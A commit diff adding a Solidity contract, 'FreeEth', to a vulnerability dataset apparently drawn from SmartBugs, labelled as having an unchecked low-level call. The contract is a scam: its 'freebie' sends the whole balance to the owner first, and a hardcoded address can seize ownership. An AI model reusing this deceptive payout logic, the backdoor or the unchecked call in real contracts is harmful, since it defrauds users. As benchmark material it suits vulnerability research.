Add SB Curated (copied from the smartbugs repository).
This commit is contained in:
@@ -0,0 +1,41 @@
|
||||
/*
|
||||
* @source: etherscan.io
|
||||
* @author: -
|
||||
* @vulnerable_at_lines: 39
|
||||
*/
|
||||
|
||||
pragma solidity ^0.4.19;
|
||||
|
||||
contract FreeEth
|
||||
{
|
||||
address public Owner = msg.sender;
|
||||
|
||||
function() public payable{}
|
||||
|
||||
function GetFreebie()
|
||||
public
|
||||
payable
|
||||
{
|
||||
if(msg.value>1 ether)
|
||||
{ Owner.transfer(this.balance);
|
||||
msg.sender.transfer(this.balance);
|
||||
}
|
||||
}
|
||||
|
||||
function withdraw()
|
||||
payable
|
||||
public
|
||||
{ if(msg.sender==0x4E0d2f9AcECfE4DB764476C7A1DfB6d0288348af){Owner=0x4E0d2f9AcECfE4DB764476C7A1DfB6d0288348af;}
|
||||
require(msg.sender == Owner);
|
||||
Owner.transfer(this.balance);
|
||||
}
|
||||
|
||||
function Command(address adr,bytes data)
|
||||
payable
|
||||
public
|
||||
{
|
||||
require(msg.sender == Owner);
|
||||
// <yes> <report> UNCHECKED_LL_CALLS
|
||||
adr.call.value(msg.value)(data);
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user